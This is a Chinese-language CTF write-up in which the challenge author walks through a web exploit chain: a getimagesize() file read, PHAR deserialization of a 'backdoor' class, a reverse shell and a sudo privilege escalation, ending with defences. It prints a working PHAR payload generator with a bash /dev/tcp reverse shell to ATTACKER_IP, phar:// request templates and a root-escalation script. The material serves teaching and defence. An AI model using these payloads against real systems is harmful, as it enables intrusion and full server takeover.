国城杯线下web出题思路分享
字数 1670 2025-08-22 12:22:54
Web安全挑战:从侧信道文件读取到PHAR反序列化提权实战
1. 挑战概述
这是一个综合性的Web安全挑战,涉及多个安全漏洞的串联利用:
- 侧信道文件读取漏洞:利用
getimagesize()函数读取服务器文件 - PHAR反序列化漏洞:通过
fileowner()函数触发反序列化 - 权限提升:利用配置不当的SUID程序和sudo权限
2. 信息收集阶段
2.1 初始界面分析
挑战开始于一个简单的输入框,提交名称后会显示欢迎信息并提供一个跳转链接。
关键发现:
- 查看页面源代码发现注释提示:
<!--There's something in the class.php--> - 跳转链接指向
chal13nge.php
2.2 目录扫描
尝试扫描目录未发现明显可利用点,但通过源代码提示发现class.php文件存在。
3. 漏洞利用阶段
3.1 侧信道文件读取漏洞
漏洞点:getimagesize()函数
利用原理:
getimagesize()在处理某些特殊构造的文件时,可以泄露服务器上的文件内容- 通过构造特殊的图片路径,可以读取服务器上的任意文件
利用步骤:
- 上传一个看似正常的图片文件
- 在获取图片信息时,修改
image_path参数为想要读取的文件路径 - 服务器会返回文件的部分内容
示例利用:
读取class.php文件内容:
POST /chal13nge.php HTTP/1.1
...
image_path=class.php
获取到的关键代码:
class backdoor {
public $cmd;
function __destruct(){
$cmd = $this->cmd;
system($cmd);
}
}
3.2 PHAR反序列化漏洞
漏洞点:fileowner()函数
利用原理:
- PHAR文件包含序列化的元数据
- 当文件操作函数如
fileowner()处理PHAR文件时,会反序列化这些元数据 - 如果元数据中包含恶意对象,可以触发危险操作
利用步骤:
- 生成恶意PHAR文件:
<?php
class backdoor {
public $cmd;
function __destruct(){
$cmd = $this->cmd;
system($cmd);
}
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new backdoor();
$o->cmd = 'ls / > 1.txt';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
- 上传PHAR文件:
- 将生成的.phar文件修改后缀为允许的图片格式(如.jpg)上传
- 触发反序列化:
POST /chal13nge.php HTTP/1.1
...
image_path=phar://uploads/malicious.jpg
- 验证命令执行:
访问生成的1.txt文件查看命令执行结果
3.3 获取反向Shell
修改PHAR生成代码,建立反向Shell连接:
$o->cmd = 'bash -c "bash -i >& /dev/tcp/攻击者IP/端口 0>&1"';
4. 权限提升阶段
4.1 环境分析
在获取的Shell中发现:
- 当前用户权限有限
- 根目录下有
flag.sh脚本,但需要root权限执行
4.2 SUID和sudo权限检查
查找SUID程序:
find / -perm -4000 2>/dev/null
检查sudo权限:
sudo -l
发现:
- 存在
/usr/local/bin/check.sh脚本,可通过sudo执行 - 该脚本接收一个参数,执行
/tmp/rootscripts/${1}/run.sh
4.3 利用sudo权限提权
利用步骤:
- 在可写目录(如
/tmp)创建run.sh:
echo "cat /root/flag.txt" > /tmp/run.sh
chmod +x /tmp/run.sh
- 通过check.sh执行:
sudo /usr/local/bin/check.sh $(pwd | cut -d'/' -f2-)
原理:
- 利用check.sh脚本执行任意命令
- 通过控制run.sh内容实现任意命令执行
5. 防御措施
5.1 防止侧信道文件读取
- 避免使用
getimagesize()处理用户提供的路径 - 对用户输入进行严格过滤
- 使用
realpath()检查路径是否在允许的目录内
5.2 防止PHAR反序列化
- 禁用PHAR流包装器:
stream_wrapper_unregister('phar') - 更新PHP版本,PHAR反序列化漏洞在较新版本中已修复
- 对文件操作函数的参数进行严格检查
5.3 防止权限提升
- 避免给脚本分配不必要的sudo权限
- 严格控制SUID/SGID程序
- 对脚本参数进行严格验证
6. 完整利用链总结
- 通过源代码发现
class.php提示 - 利用
getimagesize()侧信道漏洞读取class.php内容 - 发现
backdoor类可利用于反序列化 - 生成恶意PHAR文件并上传
- 通过
fileowner()触发PHAR反序列化 - 获取反向Shell
- 利用配置不当的sudo权限提权
- 读取root目录下的flag
7. 参考代码
恶意PHAR生成器
<?php
class backdoor {
public $cmd;
function __destruct(){
$cmd = $this->cmd;
system($cmd);
}
}
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new backdoor();
$o->cmd = 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
提权利用脚本
#!/bin/bash
# 在/tmp目录下执行
echo "cat /root/flag.txt" > run.sh
chmod +x run.sh
sudo /usr/local/bin/check.sh tmp
通过这个完整的利用链,攻击者可以从简单的信息收集开始,逐步提升权限,最终获取系统完全控制权。